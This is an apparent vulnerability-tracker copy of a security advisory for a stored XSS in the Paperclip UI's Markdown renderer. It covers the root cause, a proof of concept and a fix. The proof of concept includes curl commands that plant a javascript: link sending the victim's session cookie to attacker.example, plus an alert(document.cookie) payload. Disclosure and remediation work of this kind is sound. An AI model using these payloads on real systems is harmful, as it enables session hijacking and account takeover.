GHSA-fpw4-p57j-hqmq: Paperclip: Stored XSS via javascript: URLs in MarkdownBody — urlTransform override disables react-markdown sanitization
Noroxi assessment
Priority: Monitor (action score 21/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Anyone who can reach it over the internet can trigger it. A low-privileged account is enough. A user must open a link or visit a page. No special conditions are required; it is repeatable.
- Fixed version: @paperclipai/ui (npm) 2026.416.0.
Low priority for now. Upgrade to @paperclipai/ui (npm) 2026.416.0 or later.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
## Summary `MarkdownBody`, the shared component used to render every Markdown surface in the Paperclip UI (issue documents, issue comments, chat threads, approvals, agent details, export previews, etc.), passes `urlTransform={(url) => url}` to `react-markdown`. That override replaces `react-markdown`'s built-in `defaultUrlTransform` — the library's only defense against `javascript:`/`vbscript:`/`data:` URL injection — with a no-op, and the custom `a` component then renders the unsanitized href directly. Any authenticated company member can plant `[text](javascript:...)` in an issue document or comment; when another member clicks the link, the script executes in the Paperclip origin with full access to the victim's session, enabling cross-user account takeover inside a tenant. ## Details ### 1. Sink: MarkdownBody overrides url sanitization `ui/src/components/MarkdownBody.tsx:107-135` (custom anchor renderer) and `ui/src/components/MarkdownBody.tsx:162` (Markdown element): ```tsx a: ({ href, children: linkChildren }) => { const parsed = href ? parseMentionChipHref(href) : null; if (parsed) { /* mention chip path, rewrites href */ } return ( <a href={href} rel="noreferrer"> {linkChildren} </a> ); }, // ... <Markdown remarkPlugins={[remarkGfm]} components={components} urlTransform={(url) => url}> {children} </Markdown> ``` `react-markdown` v10 ships `defaultUrlTransform` (see `react-markdown` source) which strips any URL whose scheme matches `/^(javascript|vbscript|file|data(?!:image\/(?:gif|jpeg|jpg|png|webp)))/i`. Passing `urlTransform={(url) => url}` replaces that defense with an identity function, so unsafe hrefs flow directly into the custom `a` renderer. React 19 only emits a dev-mode warning for `javascript:` hrefs — in production builds it renders them verbatim, and clicking the link executes the script in the current origin. ### 2. Source: unsanitized markdown bodies `server/src/routes/issues.ts:815-862` accepts issue document bodies: ```ts router.put("/issues/:id/documents/:key", validate(upsertIssueDocumentSchema), async (req, res) => { // ... assertCompanyAccess(req, issue.companyId); // ... const result = await documentsSvc.upsertIssueDocument({ issueId: issue.id, key: keyParsed.data, title: req.body.title ?? null, format: req.body.format, body: req.body.body, // ← stored verbatim // ... }); ``` `packages/shared/src/validators/issue.ts:196-202`: ```ts export const upsertIssueDocumentSchema = z.object({ title: z.string().trim().max(200).nullable().optional(), format: issueDocumentFormatSchema, // enum: ["markdown"] body: z.string().max(524288), // no content validation // ... }); ``` Only the `format` enum and a 512 KiB length cap are enforced; the body is persisted as-is. Comment bodies follow the same pattern — `svc.addComment` (`server/src/routes/issues.ts:1639`) stores a `z.string().min(1)` body (line 166 of the validator). ### 3. Rendering path `ui/src/components/IssueDocumentsSection.tsx:71-72`: ```tsx function renderBody(body: string, className?: string) { return <MarkdownBody className={className}>{body}</MarkdownBody>; } ``` `ui/src/components/CommentThread.tsx:372`: ```tsx <MarkdownBody className="text-sm">{comment.body}</MarkdownBody> ``` The same sink is reused by `IssueChatThread`, `ApprovalDetail`, `AgentDetail`, `CompanySkills`, `CompanyImport`/`CompanyExport`, and `RunTranscriptView`. Every Markdown surface in the product inherits the vulnerability. ### 4. Authorization does not block cross-user reach `server/src/routes/authz.ts:18-31` (`assertCompanyAccess`) accepts any authenticated user whose `companyIds` includes the target `companyId`. There is no role check — a low-privilege company member can plant a payload against admins and owners who view the issue. ### 5. No compensating CSP A repository-wide grep for `Content-Security-Policy` finds only two matches, both scoped to sandboxed export/preview responses (`server/src/routes/assets.ts:328` and `server/src/routes/issues.ts:2572`). The main application HTML is served without any CSP, so the browser will happily navigate a `javascript:` href on click. ## PoC Prerequisites: two accounts in the same company (`attacker` and `victim`), an existing issue `<ISSUE_ID>`, the backend reachable on `http://localhost:3000`. **Step 1 — Attacker plants a malicious issue document:** ```bash curl -X PUT 'http://localhost:3000/api/issues/<ISSUE_ID>/documents/plan' \ -H 'Cookie: <attacker-session-cookie>' \ -H 'Content-Type: application/json' \ -d '{ "format": "markdown", "body": "# Plan\n\n[Click for details](javascript:fetch(\"https://attacker.example/steal?c=\"+encodeURIComponent(document.cookie)))" }' ``` Expected (verified): `201 Created` with the persisted document JSON. `upsertIssueDocumentSchema` accepts the body because it is a valid markdown string under 524288 bytes. **Step 2 — Victim opens the issue:** The victim navigates to the issue in the browser. `IssueDocumentsSection` calls `renderBody(doc.body)` → `<MarkdownBody>`, which emits the DOM: ```html <a href="javascript:fetch("https://attacker.example/steal?c="+encodeURIComponent(document.cookie))" rel="noreferrer">Click for details</a> ``` **Step 3 — Victim clicks the link:** The browser executes the `javascript:` URL in the Paperclip origin. The attacker's listener receives the victim's session cookie. From there the attacker can replay the cookie against any endpoint guarded by `assertCompanyAccess` to act as the victim — posting comments, transitioning issues, invoking approvals, reading agent keys the victim can read, etc. **Alternate vector — comments (same sink):** ```bash curl -X POST 'http://localhost:3000/api/issues/<ISSUE_ID>/comments' \ -H 'Cookie: <attacker-session-cookie>' \ -H 'Content-Type: application/json' \ -d '{"body":"[pwn](javascript:alert(document.cookie))"}' ``` `CommentThread.tsx:372` renders `comment.body` through the same `MarkdownBody` sink, producing the same stored XSS without needing document-edit privileges. ## Impact - **Cross-user stored XSS inside the tenant.** A low-privilege company member can plant a payload that runs in any other member's session — including admins/owners — on click. - **Session hijack.** The script executes on the Paperclip origin with access to `document.cookie` and every in-browser API credential; a victim click immediately exfiltrates the session to an attacker-controlled host. - **Privilege escalation.** Because every `assertCompanyAccess` route accepts a valid session, a captured admin cookie grants full company admin on the API surface (agent keys, approvals, document edits, settings). - **Tenant-wide blast radius.** The same `MarkdownBody` sink is used by issue documents, issue comments, issue chat, approvals, agent detail, company import/export, and run transcripts, so almost every user-visible text surface in the product is vulnerable. - **Persistent.** The payload lives in the document or comment record until explicitly deleted. ## Recommended Fix The minimum fix is to remove the `urlTransform` override in `ui/src/components/MarkdownBody.tsx:162` and rely on `react-markdown`'s `defaultUrlTransform`: ```tsx // ui/src/components/MarkdownBody.tsx import Markdown, { defaultUrlTransform, type Components } from "react-markdown"; // ... // Preserve mention-chip (paperclip-mention://) hrefs so parseMentionChipHref still runs, // but fall back to the library's scheme allow-list for everything else. function safeUrlTransform(url: string): string { if (url.startsWith("paperclip-mention://")) return url; return defaultUrlTransform(url); } <Markdown remarkPlugins={[remarkGfm]} components={components} urlTransform={safeUrlTransform} > {children} </Markdown> ``` `defaultUrlTransform` strips `javascript:`, `vbscript:`, `file:`, and non-image `data:` URIs, which closes this finding for every call site of `MarkdownBody`. Defense-in-depth recommendations: 1. Add a strict Content-Security-Policy header to the main app response (e.g. `script-src 'self' 'nonce-...'`) so that even a future regression cannot execute inline JS via `javascript:` navigation. 2. Server-side validate document and comment bodies for obviously unsafe markdown patterns (e.g. reject `](javascript:` sequences) as belt-and-braces. Do not rely on client-side sanitization alone, since other clients (mobile, exports) may render the same content. 3. Audit every existing component for other `urlTransform`/`skipHtml`/`rehype-raw` overrides that might reintroduce the same bypass.
- Published
- Apr 16, 2026
- Updated
- Apr 16, 2026
- EPSS
- —
- CWE
- CWE-79
Report tools
Action score
21
Low priority for now.
- CVSS
- 21 / 40 · 5.4 / 10
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
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- No public exploit code on record
- A fix has been released
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Limit the impact of XSSCheck security headers
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| Vendor | Product | CPE |
|---|---|---|
| npm | @paperclipai/ui | pkg:npm/%40paperclipai/ui |
Limit the impact of XSS
This is a cross-site scripting (XSS) vulnerability. A well-configured Content-Security-Policy doesn't fix it, but greatly reduces its impact. Check your site's CSP and other security headers for free.
Check security headersPackage-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| npm | @paperclipai/ui | before 2026.416.0 | 2026.416.0 |
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
| Product / package | Fixed version | Source |
|---|---|---|
| npm:@paperclipai/ui | 2026.416.0 | Package registry (OSV) |
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Not on record for this CVE: EPSS history · patch commit or PR link · researcher credit · variant or chain candidate · public bounty program.
Technical details
Attack conditions
- Anyone who can reach it over the internet can trigger it.
- A low-privileged account is enough.
- A user must open a link or visit a page.
- No special conditions are required; it is repeatable.
If successful
- Confidentiality
- low · data can be read
- Integrity
- low · data or configuration can be modified
- Availability
- none
Impact can extend beyond the vulnerable component (scope changes).
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- Required
- Scope
- Changed
- Confidentiality impact
- Low
- Integrity impact
- Low
- Availability impact
- None
Weakness class (CWE)
CWE-79 · Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
osv
Root cause
User content is inserted into the page as HTML. The browser interprets the content as code rather than data.
The bug in code
The whole CWE-79 classA representative example of this vulnerability class. Not the vendor's source code; it shows the faulty pattern and its fix.
Vulnerable
commentEl.innerHTML = comment.body;Fixed
commentEl.textContent = comment.body;Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
Attack patterns (CAPEC)
ATT&CK techniques
—
Change log (1)
- Fix✗ → ✓
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References
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Vendor advisories and official records. Exploit/PoC links are deliberately left out.